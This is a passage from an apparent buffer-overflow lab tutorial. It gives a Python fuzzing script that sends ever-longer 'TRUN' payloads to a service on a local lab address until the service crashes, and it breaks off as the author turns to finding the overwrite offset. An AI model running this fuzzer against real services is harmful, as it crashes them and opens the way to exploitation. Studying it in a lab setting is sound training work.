Fuzzing is a technique for finding vulnerabilities by sending a large number of random inputs to an application. The goal is to identify the exact input that can trigger a buffer overflow.
using python script,
make a file named for example 1.py
#!/usr/bin/python
import sys, socket
from time import sleep
buffer = "A" * 100
while True:
try:
payload = "TRUN /.:/" + buffer
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.2.15',9999))
print ("[+] Sending the payload...\\n" + str(len(buffer)))
s.send((payload.encode()))
s.close()
sleep(1)
buffer = buffer + "A"*100
except:
print ("The fuzzing crashed at %s bytes" % str(len(buffer)))
sys.exit()
after running the script and the program crashed , now we want to know the offset of the overwritten